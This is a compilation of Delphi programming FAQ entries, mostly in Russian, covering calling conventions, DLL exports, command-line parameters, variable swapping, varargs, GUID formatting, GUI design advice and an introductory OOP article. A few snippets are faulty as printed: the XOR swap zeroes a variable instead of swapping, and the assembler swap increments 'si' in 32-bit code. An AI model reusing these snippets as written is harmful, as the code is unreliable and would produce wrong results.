Register calling convention (like MS VC _fastcall) is
compiler-specific.
When writing DLLs that should be usable by other programs
regardless of language you use the stdcall calling convention
for exported routines. Any language that can call Windows API
routines will be able to call routines from such a DLL, as long
as you stay away from Delphi-specific data types, like String,
Boolean, objects, real48.
Pascal calling convention is Win16 heritage, it was the default
for the Win16 API but is no longer used on Win32.
A topic loosely tied to calling conventions is name decoration
for exported names in DLLs. Delphi (5 at least) does not
decorate names, regardless of calling convention used. The name
appears in the exported names table exactly as you cite it in
the exports clause of the DLL, case and all. Case is
significant for exported functions in Win32!
Other compilers may decorate names. Unless told to do otherwise
a C compiler will prefix all cdecl functions with an underbar
and will decorate stdcall functions in the format _name@x,
where x is the total parameter size, e.g. _Test3@16. C++ is
even worse, unless functions are declared as extern "C" it will
export names in a decorated format that encodes parameter size
and type, in a compiler-specific fashion. For routines exported
with Pascal calling convention the names may be all uppercase,
but as said above you will not usually encouter this convention
on Win32.
Due to these naming issues it is often appropriate to sic TDUMP
on an unknown DLL you want to interface to, to figure out the
actual names of the exported functions. These can then be given
in a name clause for the external statement if they are
decorated.

Demo DLL:

library DemoDLL;
uses Windows;

function Test1(i: Integer; b: Boolean; d: Double): Integer; pascal;
begin
  Result := Round(i * Ord(b) * d);
end;

function Test2(i: Integer; b: Boolean; d: Double): Integer; register;
begin
  Result := Round(i * Ord(b) * d);
end;

function Test3(i: Integer; b: Boolean; d: Double): Integer; cdecl;
begin
  Result := Round(i * Ord(b) * d);
end;

function Test4(i: Integer; b: Boolean; d: Double): Integer; stdcall;
begin
  Result := Round(i * Ord(b) * d);
end;

exports
  Test1 index 1,
  Test2 index 2,
  Test3 index 3,
  Test4 index 4;

begin
end.

// Example call from test project:
implementation
{$R *.DFM}

function Test1(i: Integer; b: Boolean; d: Double): Integer; pascal; external 'DEMODLL.DLL' Index 1;

function Test2(i: Integer; b: Boolean; d: Double): Integer; register; external 'DEMODLL.DLL' Index 2;

function Test3(i: Integer; b: Boolean; d: Double): Integer; cdecl; external 'DEMODLL.DLL' Index 3;

function Test4(i: Integer; b: Boolean; d: Double): Integer; stdcall; external 'DEMODLL.DLL' Index 4;

procedure TForm1.Button1Click(Sender: TObject);
var i: Integer;
begin
  i := Test1(16, True, 1.0);
  i := Test2(16, True, 1.0);
  i := Test3(16, True, 1.0);
  i := Test4(16, True, 1.0);
end;

Set breakpoints on the lines and step into the routines with the
CPU window open to see the stack layout.
Взято с Vingrad.ru http://forum.vingrad.ru


Как использовать переменную для имени процедуры?

Взято из FAQ: http://blackman.km.ru/myfaq/cont4.phtml

Каким образом можно использовать переменную типа String в качестве имени процедуры?

Если все процедуры, которые вы собираетесь вызывать, имеют список с
одними и теми же параметрами (или все без параметров), то это не трудно.
Для этого необходимы: процедурный тип, соответствующий вашей процедуре, например:

type
TMacroProc = procedure(param: Integer);
//массив, сопоставляющий имена процедур их адресам во время выполнения приложения:
TMacroName = string[32];
TMacroLink = record
name: TMacroName;
proc: TMacroProc;
end;
TMacroList = array [1..MaxMacroIndex] of TMacroLink;

const
Macros: TMacroList = (
(name: 'Proc1'; proc: Proc1),
(name: 'Proc2'; proc: Proc2),
...
); //интерпретатор функций, типа:

procedure CallMacro(name: String; param: Integer);
var
i: Integer;
begin
for i := 1 to MaxMacroIndex do
if CompareText(name, Macros[i].name) = 0 then
begin
Macros[i].proc(param);
break;
end;
end;

{Макропроцедуры необходимо объявить в секции Interface модуля или с ключевым словом Far, например: }
procedure Proc1(n: Integer); far;
begin
...
end;

procedure Proc2(n: Integer); far;
begin
...
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Как использовать параметры коммандной строки?

Как использовать параметры командной строки?
Previous Top Next

Paramcount - показывает сколько параметров передано
Paramstr(0) - это имя с путем твоей программы
Paramstr(1) - имя первого параметра
Paramstr(2) - имя второго параметра и т.д.

Если ты запускаешь:

с:\myprog.exe /a -b22 c:\dev

то Paramcount будет равен 3
Paramstr(0) будет равен с:\myprog.exe
Paramstr(1) будет равен /a
Paramstr(2) будет равен -b22
Paramstr(3) будет равен c:\dev

Параметр это просто строка, набор букв, выполнить ее нельзя - ты можешь только проверить на наличие строки и если она присутствует, то выполнить какое либо действие, это действие ты должен написать сам, никаких стандартных действий нет.

Например у тебя возможно 3 параметра:

Если параметр = "/v" то выдать сообщение, если параметр "/c" то покрасить форму в синий цвет, если параметр "/f" - поменять заголовок формы:

if paramstr(1) = '/v' then
  showmessage('Parameter "/v" was found!');
if paramstr(1) = '/c' then
  color := clBlue;
if paramstr(1) = '/f' then
  caption := 'Parameter "/f" was found';

Поставь этот код на событие формы onActivate, откомпиллируй и попробуй запустить программу с одним из 3х указанных параметров и ты увидишь что произойдет.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Функция FindCmdLineSwitch (const Switch: string;SwitchChars: TSysCharSet;IgnoreCase: Boolean ): Boolean;
type TSysCharSet = set of Char;

Функция определяет, была ли передана приложению в качестве параметра командной строки строка Switch. Параметр IgnoreCase указывает должен ли учитываться регистр. Параметр SwitchChars идентифицирует допустимые символы-разделители (например, "-", "/").

Взято с http://atrussk.ru/delphi/


Быстрый способ обмена значений в 2х переменных.

procedure SwapVars1(var u, v; Size: Integer);
var
  x: Pointer;
begin
  GetMem(x, Size);
  try
    System.move(u, x^, Size);
    System.move(v, u, Size);
    System.move(x^, v, Size);
  finally
    FreeMem(x);
  end;
end;

procedure SwapVars2(var Source, Dest; Size: Integer);
  // By Mike Heydon, mheydon@eoh.co.za
begin
  asm
     push edi
     push esi
     mov esi,Source
     mov edi,Dest
     mov ecx,Size
     cld
 @1:
     mov al,[edi]
     xchg [esi],al
     inc si
     stosb
     loop @1
     pop esi
     pop edi
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  SwapVars1(X1, X2, SizeOf(Integer));
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

var
 X1, X2: Byte;
begin
 X1 := X2 xor X2;
 X2 := X1 xor X2; // X2 = X1
 X1 := X1 xor X2; // X1 = X2

Автор ___ALex___
http://forum.pascal.dax.ru


BEEP для дельфи, который работает, как в TP

BEEP , для дельфи , который работает, как в B.Pascal 7.0

Я применяю следующий код, однако он работает только под Win9x/me
(Под WinNT/2000/XP вы можете использовать Beep(Tone, Duration)
- задавать тон и продолжительность звучания).

procedure Sound(Freq : Word);
  var B : Byte;
begin
if Freq > 18 then
begin
Freq := Word(1193181 div LongInt(Freq));
B := Byte(GetPort($61));
if (B and 3) = 0 then
begin
SetPort($61, Word(B or 3));
SetPort($43, $B6);
end;
SetPort($42, Freq);
SetPort($42, Freq shr 8);
end;
end;

procedure NoSound;
  var Value: Word;
begin
Value := GetPort($61) and $FC;
SetPort($61, Value);
end;

procedure SetPort(address, Value:Word);
  var bValue: byte;
begin
bValue := trunc(Value and 255);
asm
  mov dx, address
  mov al, bValue
  out dx, al
end;
end;

function GetPort(address:word):word;
var bValue: byte;
begin
asm
  mov dx, address
  in al, dx
  mov bValue, al
end;
GetPort := bValue;
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Как передать массив как параметр?

Передача параметров в дельфи:

Type Ta=array of something;
Var a:Ta;

Procedure Proc(a:Ta); - внутри процедуры создаётся копия массива, внутри процедуры работа осуществляется только с копией данных

Procedure Proc(var a:Ta); - внутри процедуры код работает именно с переменной а и её содержимым

Procedure Proc(const a:Ta); - внутри процедуры запрещено изменять данные переменной а

Procedure Proc(out a:Ta); - при входе в процедуру массив рассматривается как пустой, но после выполнения процедуры можно получить значения

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Можно ли задать шаг в For?

For i:=0 to Maximum do if i mod step = 0 then
begin

end;

Переменная Step и есть нужный шаг

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Как сделать procedure/function с переменным количеством параметров?

{ .... }

type
  VA_FN = function(const par1, par2{, ...}: Pointer): Boolean;
                   cdecl varargs;

{ .... }

//
// varargs without "external" keyword
//
function fn(const par1, par2{, ...}: Pointer): Boolean; cdecl;
var
  last_arg: Pointer absolute par2;
  ptr_args: array[0..MAXLONG shr 2] of Pointer absolute last_arg;
  dw_args: array[0..MAXLONG shr 2] of Cardinal absolute last_arg;
  s_args: array[0..MAXLONG shr 2] of PChar absolute last_arg;
  w_args: array[0..MAXLONG shr 2] of WideString absolute last_arg;
begin
  // ptr_args[1] is first optional argument
  Result := (ptr_args[1] {par3} = Pointer(1)) and
    (dw_args[2] {par4} = 2) and
    (string(ptr_args[3]) = 'CHAR') and
    (w_args[4] = 'WCHAR');
end;

procedure test_fn;
begin
  // VA_FN typecast
  VA_FN(@fn)({par1}nil, {par2}nil, {par3}Pointer(1), {par4}2, {par5}'CHAR',
    {par6}WideString('WCHAR'));
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить часть GUID?

{ You maybe have to access  just a part of a GUID. }

{ Const for the function Format(...) }
const
  fsGUID: string = 'D1: $%s'#13#10'D2: $%s'#13#10'D3: $%s'#13#10 +
    'D4: $%s $%s $%s $%s $%s $%s $%s $%s';
  fsGUIDParts: string = 'D%d:%s';

  // Type for the GUID part to be shown
type

  TGUIDPART = (guidp_NoFormat, guidp_All, guidp_D1,
    guidp_D2, guidp_D3, guidp_D4);

{ This GUIDToStringEx function give you the full GUID string
  according with then format string FStr (you can change it !!!) }
function GUIDToStringEx(Guid: TGuid; FStr: string): string; overload;
begin
  Result := Format(FStr,
    [IntToHex(GUID.D1, 8),
    IntToHex(GUID.D2, 4),
    IntToHex(GUID.D3, 4),
    IntToHex(GUID.D4[0], 2),
    IntToHex(GUID.D4[1], 2),
    IntToHex(GUID.D4[2], 2),
    IntToHex(GUID.D4[3], 2),
    IntToHex(GUID.D4[4], 2),
    IntToHex(GUID.D4[5], 2),
    IntToHex(GUID.D4[6], 2),
    IntToHex(GUID.D4[7], 2)
    ]);
end;

{ This GUIDToStringEx function give you the part of the GUID
  to be shown, according to the part type GUIDPart }
function GUIDToStringEx(Guid: TGuid; Part: TGUIDPART): string; overload;
var
  i: Integer;
  S: string;
begin
  S := '';
  case Part of
    guidp_NoFormat: S := GUIDToString(Guid);
    guidp_All:      S := GUIDToStringEx(Guid, fsGUID);
    guidp_D1:       S := Format(fsGUIDParts, [1, ' $' + IntToHex(GUID.D1, 8)]);
    guidp_D2:       S := Format(fsGUIDParts, [2, ' $' + IntToHex(GUID.D2, 4)]);
    guidp_D3:       S := Format(fsGUIDParts, [3, ' $' + IntToHex(GUID.D3, 4)]);
    guidp_D4:
      begin
        for i := 0 to 7 do S := S + ' $' + IntToHex(GUID.D4[i], 2);
        S := Format(fsGUIDParts, [4, S]);
      end;
    else
      S := '?';
  end;
  Result := S;
end;

{ How to use the different GUIDToStringEx functions }

procedure TForm1.Button1Click(Sender: TObject);
var
  NewGUID: TGUID;
begin
  { Create a new GUID }
  NewGUID := StringToGUID(CreateClassID);

  { Standard formated GUID string }
  label1.Caption := GUIDToStringEx(NewGUID, guidp_NoFormat) +
    #13#10 +

    { Full formated GUID string acc. with fsGUID}
    GUIDToStringEx(NewGUID, fsGUID) +
    #13#10 +

    { Full formated GUID string with default formating}
    GUIDToStringEx(NewGUID, guidp_All) +
    #13#10 +

    { Part D3 of the GUID only }
    GUIDToStringEx(NewGUID, guidp_D3);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


GUI. Перегрузка контролами (статья)

Навороченные формы с огромным количеством визуальных компонентов, помноженные на количество этих форм, могут вызвать ряд серьезных проблем при разработке и использовании программы.

Приложение надолго подвисает при загрузке. Время уходит на инициализацию большого количества форм, стоящих в AutoCreate.
Наблюдаются многочисленные глюки при прорисовке, сообщения системы об ошибках и перерасходе ресурсов без видимых причин, вплоть до убиения приложения системой или краха системы. Характерно для Windows линии 9X, у которых максимальное количество графических и оконных ресурсов (GDI и USER) сильно ограничено.
Зачастую, чтобы не расставлять и настраивать множество однообразных контролов на форме вручную, программист пишет код для их программной инициализации и вставки, не учитывая при этом нюансы, о которых он не подозревал при визуальной разработке. В результате он может получить утечку памяти и прочих ресурсов, если форма создается/уничтожается динамически многократно в процессе работы.
Пользователь теряется в перегруженном интерфейсе программы, будучи не в состоянии использовать все его возможности и затрудняясь в выполнении простых задач.

ТИПОВЫЕ РЕШЕНИЯ.

1. Уменьшить количество автоматически создаваемых форм. Создавать тяжелые формы в тот момент, когда они понадобятся, и уничтожать при закрытии. При этом нужно следить за своевременной очисткой и проверкой глобальных ссылок на формы.
2. У динамически создаваемых компонентов устанавливать владельца и родителя. Подробности - в статье "Жизнь и смерть в режиме run-time".
3. Большое количество форм не всегда оправдано. Если пользователь не получает дополнительных удобств от того, что может открыть много форм (часто он не может их увидеть одновременно или работает постоянно с одной), то это неверное архитектурное решение.
Интерфейс MDI - хорошая концепция. Но всякое техническое решение имеет свою область применения. Это удобно, когда пользователю нужно работать с однотипными объектами в разных окнах и переходить от одного к другому, причем количество их заранее неизвестно, и допускается изменение размеров окна. Примеры - работа с документами (Word, Excel, etc.).
4. Как правило, многочисленные элементы управления не нужны пользователю одновременно (вспомните о правиле 7±2 - именно таково среднее количество объектов, за которыми человек может следить одновременно, не напрягаясь). Их можно разделить на группы и расположить на страницах компонента TPageControl. Таким способом можно скрыть видимую сложность очень большого интерфейса по вводу и редактированию данных.
Если группы компонентов однотипны (меняются только данные), то решение еще более упрощается, с одновременным снятием нагрузки на ресурсы системы. Компонент TTabControl, который внешне выглядит также, как и TPageControl, содержит только одну группу контролов, а программист по событию смены закладки OnChange имеет возможность сменить данные.
5. Большое количество регулярно расположенных контролов TEdit, TLabel успешно заменяется на TStringGrid, специально для этого предназначенный. Кроме всего прочего, он имеет удобную прокрутку, размеры таблицы не будут ограничены размерами формы.
В случае, если нужно много TComboBox, применяют следующую хитрость. Для визуализации используют TStringGrid, а для редактирования в текущую ячейку вставляют TComboBox, устанавливая ему размеры и координаты по ячейке и набивая его программно (если набор элементов меняется). Один и тот же экземпляр редактирующего контрола используется во всех ячейках, поскольку он не нужен одновременно везде. Эта же техника используется и в VCL для редактирования ячеек TStringGrid, TDBGrid.
Есть масса компонентов типа TStringGrid сторонних разработчиков, которые расширяют возможности стандартного.
6. DB-aware визуальные компоненты - такие как TDBGrid - способны обрабатывать огромный объем данных, не требуя при этом пропорциональное количество ресурсов GDI/USER. В конце концов, если не хочется связываться с СУБД, можно загнать информацию в TClientDataSet и кормить из него DB-aware controls на форме. Одновременно получаешь все прелести сортировки и фильтрации данных.
В случае сложного набора контролов для каждой записи, при необходимости видеть несколько таких групп одновременно, хорошо подходит компонент TDBCtrlGrid.
7. Следует стремиться уменьшить количество компонентов - потомков TWinControl (например - TButton), заменяя их на потомки TGraphicControl (пример - TSpeedButton). Последние не используют объекты USER, поскольку не являются окнами в понятиях Windows.
8. Рекомендуется разрабатывать и эксплуатировать ресурсоемкие приложения в среде Windows NT и ее наследников (2000, XP).

Автор: Александр Малыгин

Взято с http://delphiworld.narod.ru


Функция, возвращающая тип

// функция Chameleon, возвращающая тип сгенерированного исключения

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  MyBoolean = class
  public
    Value: boolean;
  end;

  MyInteger = class
  public
    Value: integer;
  end;

  MyClass = class
  public
    Value: TStrings;
  end;

  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure MyProc;
    function Chameleon: boolean;
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

function TForm1.Chameleon: boolean;
var
  b: MyBoolean;
  i: MyInteger;
  c: MyClass;
  r: integer;
begin
  r := Random(3);
  case r of
    0:
      begin
        b := MyBoolean.Create;
        raise b;
      end;
    1:
      begin
        i := MyInteger.Create;
        raise i;
      end;
    2:
      begin
        c := MyClass.Create;
        raise c;
      end;
  end;
end;

procedure TForm1.MyProc;
begin
  try
    Chameleon;
  except
    on MyBoolean do
      ShowMessage('Функция возвратила класс MyBoolean');
    on MyInteger do
      ShowMessage('Функция возвратила класс MyInteger');
    on MyClass do
      ShowMessage('Функция возвратила класс MyClass');
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Chameleon;
end;

end.

Взгляните на тип данных Variant в D2: следующий код

function AnyType(const TypeParm: integer): Variant;
begin
  case TypeParm of
    1: Result := 1;
    2: Result := 2.0;
    3: Result := 'Три';
    4: Result := StrToDate('4/4/1944');
  end;
end;

абсолютно бестолковый, но полностью корректный!

Следующий код содержит объявление трех функций, принимающих на входе один и тот же параметр, но выдающих результаты различных типов (результат физичиски один и тот же, и занимает он 4 байта). Я не думаю, что можно одурачить delphi, чтобы с помощью этого метода возвратить строку. Это может привести к разрушению менеджера кучи. Вместо этого вызывайте необходимую вам функцию. Каждый вызов передается MyFuncRetAnything, а P1 определяет возвращаемый тип. Если хотите, можете написать другую обертку, делающую для вас еще и приведение типов.

3 вызова, 1 код.

Я понимаю, что это в действительности не то, что нужно, по я просто хотел продемонстрировать другой способ. (вы можете возвращать строки как тип PChar, который также занимает 4 байта). Вы должны использовать некоторую память, распределяемую вызовом процедуры (может быть передавать результаты как P2?).

{моя форма имеет 3 метки, одну кнопку и этот код}

var
  MyFuncRetInt: function(P1, P2: Integer): Integer;
  MyFuncRetBool: function(P1, P2: Integer): LongBool;
  MyFuncRetPointer: function(P1, P2: Integer): Pointer;

function MyFuncRetAnything(P1, P2: Integer): Integer;
var
  RetPointer: Pointer;
  RetBool: LongBool;
  RetInteger: Integer;
begin
  RetPointer := nil;
  RetBool := False;
  RetInteger := 4711;
  case P1 of
    1: Result := Integer(RetPointer);
    2: Result := Integer(RetBool);
    3: Result := RetInteger;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if MyFuncRetBool(2, 1900) then
    Label1.Caption := 'True'
  else
    Label1.Caption := 'False';
  Label2.Caption := IntToStr(MyFuncRetInt(3, 1900));
  Label3.Caption := IntToHex(Integer(MyFuncRetPointer(1, 1900)), 16);
end;

initialization
  MyFuncRetInt := @MyFuncRetAnything;
  MyFuncRetBool := @MyFuncRetAnything;
  MyFuncRetPointer := @MyFuncRetAnything;

end.

Взято с http://delphiworld.narod.ru


Взять один символ из потока памяти

unit MsFormR;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    Memo1: TMemo;
    ListBox1: TListBox;
    Panel1: TPanel;
    Button1: TButton;
    Button2: TButton;
    Splitter1: TSplitter;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    MemStr1: TMemoryStream;
  public
    procedure ShowMemStr;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  MemStr1 := TMemoryStream.Create;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  Str1: TFileStream;
begin
  OpenDialog1.Filter :=
    'Any file (*.*)|*.*';
  OpenDialog1.DefaultExt := '*';
  if OpenDialog1.Execute then
  begin
    Str1 := TFileStream.Create (
      OpenDialog1.Filename, fmOpenRead);
    try
      MemStr1.LoadFromStream (Str1);
      ShowMemStr;
      Button2.Enabled := true;
    finally
      Str1.Free;
    end;
  end;
end;

procedure TForm1.ShowMemStr;
begin
  Memo1.Lines.LoadFromStream (MemStr1);
end;

procedure TForm1.Button2Click(Sender: TObject);
const
  ndx: LongInt = 1;
var
  pch:  PChar;
  tmpC: Char;
begin
  pch := MemStr1.Memory;
  tmpC := pch[ndx];
  pch[ndx] := #0;
  ListBox1.Items.SetText(MemStr1.Memory);
  pch[ndx] := tmpC;

  if ndx < MemStr1.Size then
    Inc(ndx)
  else
    Button2.Enabled := False;
end;

end.

Взято с http://delphiworld.narod.ru


Удобная функция ifthen

В Делфи 6 (модуль Math) появилась удобная функция ifthen которая соответствует оператору "?" языка С++.

пример:

procedure TForm1.Button1Click(Sender: TObject);
var k, i, j: Integer;
begin
  i := 3; j := 2;
  k := ifthen({If}i < j, {Then}i, {Else}k);
End;

Автор feriman
Взято из http://forum.sources.ru


Использование PosEx взамен Pos

В Delphi 7 в модуле StrUtils внесены некоторые изменения.
Есть новая функция: PosEx.

Обьявление этих функций:

Function Pos(Substr: String; S: String): Integer;
Function PosEx(Const SubStr, S: String; Offset: Cardinal = 1): Integer;

Новая функция PosEx, позволяет указать начальную позицию поиска внутри строки, что избавит вас от необходимости изменения
исходной строки. Незабудьте указать модуль StrUtils.

Ниже приведена реализация функции в модуле StrUtils (если вы используете более старшую версию среди разработки вы
сможете сами добавить этот код и использовать его вместо функции Pos):

Function PosEx(Const SubStr, S: String; Offset: Cardinal = 1): Integer;
var
  I,X: Integer;
  Len, LenSubStr: Integer;
begin
  If Offset = 1 Then
    Result := Pos(SubStr, S)
  Else
  begin
    I := Offset;
    LenSubStr := Length(SubStr);
    Len := Length(S) - LenSubStr + 1;
    While I <= Len Do
    begin
      If S[I] = SubStr[1] Then
      begin
        X := 1;
        While (X < LenSubStr) And (S[I + X] = SubStr[X + 1]) Do
          Inc(X);
        If (X = LenSubStr) Then
        begin
          Result := I;
          Exit;
        End;
      End;
      Inc(I);
    End;
    Result := 0;
  End;
End;

Автор RoboSol
Взято из http://forum.sources.ru


Объектное ориентирование

Cодержание раздела:

Примечание от Vit: в раздел помещены не только вопросы по объектно-ориентированному программированию и ООП модели Дельфи, но и часть специфических вопросов по организации VCL, я решил не выносить их отдельно в VCL, так как считаю вполне логичным собрать всё в одном разделе.

Объектно-ориентированное программирование (статья) New!
Как написать собственный класс?
Как можно работать с объектами не заботясь об их разрушении?
Как преобразовать указатель на метод в указатель на функцию?
Как явно вызвать виртуальный метод дедушки?
Что из себя представляет Self?
Как скрыть свойства объекта?
Как присвоить событие в run-time?
Как вызвать метод предка?
Как редактировать таблицы виртуальных и динамических методов?
Можно ли динамически изменять свойство "owner" компонента во время выполнения программы?
Как создать компонент во время выполнения приложения?
Шаблоны в Object Pascal
Работа с Sender
Как внести изменения в код VCL?
В чем отличие между Create(Self) и Create(Application)?
Как создать копию произвольного компонента?
Перекрытие виртуальных методов
Вызов процедуры, имя которой содержится в переменной
Динамические и виртуальные методы
Override/Vitual/Dynamic - методы
Выполнение процедуры по адресу
Информация о TClass
Переназначения объектов
Демонстрация DefineProperties
Как заставить код компонента работать только в дизайне?
Работа метода Assign
Как забыть о необходимости разрушать объекты? New!
Список handle всех окон моего приложения New!
Как получить список всех назначенных событий? New!
Сгруппировать свойства наподобие Font New!

См. также статьи в других разделах:
Получение ссылки на экземпляр класса
Работа метода Assign
Сохранить TImagelist в файл со всем содержимым New!
Method pointers --> function pointers New!

См. также другие разделы:
RTTI и другие трюки с информацией о классах, модулях и т.п.
VCL/Общие вопросы
Вставка одних компонентов в другие


Объектно-ориентированное программирование (статья)

Эта статья была скачена в интернете, и к сожалению я не нашёл указаний на авторство.

Введение
Краеугольные камни ООП
Наследование
Метаклассы


Введение

Объектно-ориентированное программирование (ООП)

Объекты – это крупнейшее достижение в современной технологии программирования. Смеем утверждать, что изобретение и практическая реализация объектов являются подвигом человеческого гения. Это не пустые слова: объекты позволили строить программу не из чудовищных по сложности процедур и функций, а из кирпичиков-объектов, заранее наделенных нужными свойствами. Самое приятное в этом то, что внутренняя сложность объектов скрыта от программиста, он просто пользуется готовым строительным материалом.
Сейчас преимущества использования объектов очевидны для всех. Однако так было всегда. Сначала старая гвардия не поняла и не приняла объекты, поэтому они почти лет потихоньку развивались в различных языках, первыми из которых были Simula 67 и Smalltalk 72. Постепенно объектно-ориентированный подход нашел себе место и в более мощных языках: С++, Turbo Pascal 6.0/7.0, Modula, ADA и множестве других. Блестящим примером реализации объектов была библиотека Turbo Vision, предназначенная для построения пользовательского интерфейса DOS-программ.
Полную победу объекты одержали после воцарения Windows: теперь без них в программировании просто не обойтись. Delphi – не исключение, она в своей основе является объектно-ориентированной и говорить о программировании без объектов про бессмысленно. Чтобы вы не рылись в других книгах, собирая информацию по крохам, мы не поленились и собрали в этой главе все, что нужно знать об объектах Delphi. Для новичка важнейшее здесь: инкапсуляция, наследование, полиморфизм, остальное можно просто просмотреть и возвращаться к материалу по мере накопления опыта. Профессионалу полезно прочитать внимательно все от начала до конца. Так что давайте засучим рукава и приступим к делу.


Краеугольные камни ООП

КРАЕУГОЛЬНЫЕ КАМНИ ООП

ФОРМУЛА ОБЪЕКТА
Авторы надеются, что читатель помнит кое-что из второй главы и такие понятия, как тип данных, процедура, функция, запись для него не в новинку. Это прекрасно. Та вот, в конце 60-х годов кому-то пришло в голову объединить эти понятия и то, что получилось, назвать объектом. Рассмотрение данных в неразрывной связи с методами их обработки позволило вывести формулу объекта:

Объект = Данные + Операции

На основании этой формулы была разработана методология объектно-ориентированного программирования (ООП).

ПРИРОДА ОБЪЕКТА
Об объектах можно думать как о полезных существах, которые «живут» в вашей программе и коллективно решают некоторую прикладную задачу. Вы, как Демиург, лепите этих существ, распределяете между ними обязанности и устанавливаете правила их взаимодействия.
В общем случае каждый объект «помнит» необходимую информацию, «умеет» выполнять некоторый набор действий и характеризуется набором свойств. То, что объект «помнит», хранится в его полях. То, что объект «умеет делать», реализуется в виде его внутренних процедур и функций, называемых методами. Свойства объектов аналогичны свойствам, которые мы наблюдаем у обычных предметов. Значения свойств можно устанавливать и читать. Программно свойства реализуются через поля и методы.
Например, объект «кнопка» имеет свойство «цвет». Значение цвета кнопка запоминает в одном из своих полей. При изменении значения свойства «цвет» вызывается метод, который перерисовывает кнопку.
Кстати, этот пример позволяет сделать важный вывод: свойства имеют первостепенное значение для программиста, использующего объект. Чтобы понять суть и назначение объекта, вы обязательно должны знать его свойства, иногда — методы, очень редко — поля (объект и сам знает, что с ними делать).

ОБЪЕКТЫ И КОМПОНЕНТЫ
Когда прикладные программы создавались для операционной системы MS-DOS и были консольно-ориентированными, объекты казались пределом развития программирования, поскольку были идеальным средством разбиения сложных задач на простые подзадачи. Однако с появлением графических систем, в частности Windows, программирование пользовательского интерфейса резко усложнилось. Программист в какой-то мере стал дизайнером, а визуальная компоновка и увязка элементов пользовательского интерфейса (кнопок, меток, строк редактора) начали отнимать основную часть времени. И тогда программистам пришла в голову идея визуализировать объекты, объединив программную часть объекта с его видимым представлением на экране дисплея в одно целое. То, что получилось в результате, было названо компонентом.
Компоненты в Delphi — это особые объекты, которые являются строительными кирпичиками среды визуальной разработки и приспособлены к визуальной установке свойств. Чтобы превратить объект в компонент, первый разрабатывается по определенным правилам, а затем помещается в Палитру Компонентов. Конструируя приложение, вы берете компоненты из Палитры Компонентов, располагаете на форме и устанавливаете их свойства в окне Инспектора Объектов. Внешне все выглядит просто, но чтобы достичь такой простоты, потребовалось создать механизмы, обеспечивающие функционирование объектов-компонентов уже на этапе проектирования приложения! Все это было придумано и блестяще реализовано в среде Delphi. Таким образом, компонентный подход значительно упростил создание приложений с графическим пользовательским интерфейсом и дал толчок развитию новой индустрии компонентов.
В данной главе мы рассмотрим лишь вопросы создания и использования объектов, Чуть позже мы научим вас превращать объекты в компоненты.

КЛАССЫ ОБЪЕКТОВ
Каждый объект всегда принадлежит некоторому классу. Класс — это обобщенное (абстрактное) описание множества однотипных объектов. Объекты являются конкретными представителями своего класса, их принято называть экземплярами класса. Например, класс СОБАКИ — понятие абстрактное, а экземпляр этого класса МОЙ ПЕС БОБИК — понятие конкретное.

ТРИ КИТА ООП
Весь мир ООП держится на трех китах: инкапсуляции, наследовании и полиморфизме. Для начала о них надо иметь только самое общее представление.
Наблюдаемое в объектах объединение данных и операций в одно целое было обозначено термином инкапсуляция (первый кит ООП). Применение инкапсуляции сделало объекты похожими на маленькие программные модули и обеспечило сокрытие их внутреннего устройства. Для объектов появилось понятие интерфейса, что значительно повысило их надежность и целостность.
Второй кит ООП — наследование. Этот простой принцип означает, что если вы хотите создать новый класс, лишь немногим отличающийся от того, что уже существует, то нет необходимости в переписывании заново всех полей, методов и свойств. Вы объявляете, что новый класс является потомком (или дочерним классом) имеющегося класса, называемого предком (или родительским классом), и добавляете к нему новые поля, методы и свойства. Иными словами добавляется то, что нужно для перехода от общего к частному. Процесс порождения новых классов на основе других классов называется наследованием. Новые классы имеют как унаследованные признаки, так и, возможно, новые. Например, класс СОБАКИ унаследовал многие свойства своих предков — ВОЛКОВ.
Третий кит — это полиморфизм. Он означает, что в производных классах вы можете изменять работу уже существующих в базовом классе методов. При этом весь программный код, управляющий объектами родительского класса, пригоден для управления объектами дочернего класса без всякой модификации. Например, вы можете породить новый класс кнопок с рельефной надписью, переопределив метод отрисовки кнопки. Новую кнопку можно «подсунуть» вместо стандартной в какую-нибудь подпрограмму, вызывающую отрисовку кнопки. При этом подпрограмма «думает», что работает со стандартной кнопкой, но на самом деле кнопка принадлежит производному классу и отображается в новом стиле.
Пока достаточно самого поверхностного понимания всех приведенных выше понятий, ниже мы рассмотрим их подробнее и покажем, как они реализованы в Delphi.

КЛАССЫ
Delphi поддерживает две модели представления объектов — старую и новую. Старая модель существует лишь для совместимости с более ранними версиями компилятора, в частности с Borland Pascal 7.0, поэтому мы не будем ее рассматривать. Все, что сказано ниже, относится к новой модели представления объектов, более мощной и богатой по своим возможностям.
Для поддержки ООП в язык Object Pascal введены объектные типы данных, с помощью которых одновременно описываются данные и операции над ними. Объектные типы называют классами, а их экземпляры — объектами.
